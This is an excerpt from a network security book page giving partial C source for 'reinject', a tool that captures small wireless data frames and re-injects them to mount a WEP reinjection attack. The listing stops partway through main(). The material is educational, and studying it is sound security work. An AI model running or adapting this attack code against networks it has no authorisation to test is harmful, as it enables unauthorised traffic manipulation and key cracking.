The reinject Tool Source Code

Example 11-15 provides the full source code to the reinject tool. This should compile on most Linux systems as follows:

gcc -o reinject reinject.c

This was written for Gentoo Linux. Other Linux distributions might require some minor tweaks to compile.

Example 11-15. Source code to the reinject tool

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <asm/types.h> #include <netinet/in.h> #include <sys/ioctl.h> #include <linux/if.h> #include <sys/types.h> #include <sys/socket.h> #include <netpacket/packet.h> #include <net/ethernet.h> #include <time.h> #include <pcap.h> #include "80211.h" #include "airjack.h" #define PACKLEN 101 /* globals */ int fd; /* socket file descriptor */ /* usage */ void usage (char *name) { printf ("%s - Simple WEP reinjection attack\n", name); printf ("Usage: %s [-i interface]\n", name); printf (" -i Interface to use\n"); exit (1); } void packet_handler (u_char * user, const struct pcap_pkthdr *header, const u_char * packet) { int i, r; static int cnt = 0; if ((header->len < PACKLEN) && (packet[0] == 0x08)) { printf ("reinjecting packet %d %x %x\n", cnt++, packet[0], packet[1]); for (i = 0; i < 2; i++) { if ((r = write (fd, (const void *) packet, header->len)) < 0) { fprintf (stderr, "Error writing packet: %d\n", cnt); } printf ("Wrote %d\n", r); } } } int main (int argc, char *argv[]) { char *device = NULL; /* device for sniffing/sending */ char o; /* for option processing */ char errbuf[PCAP_ERRBUF_SIZE]; ...

Get Network Security Tools now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.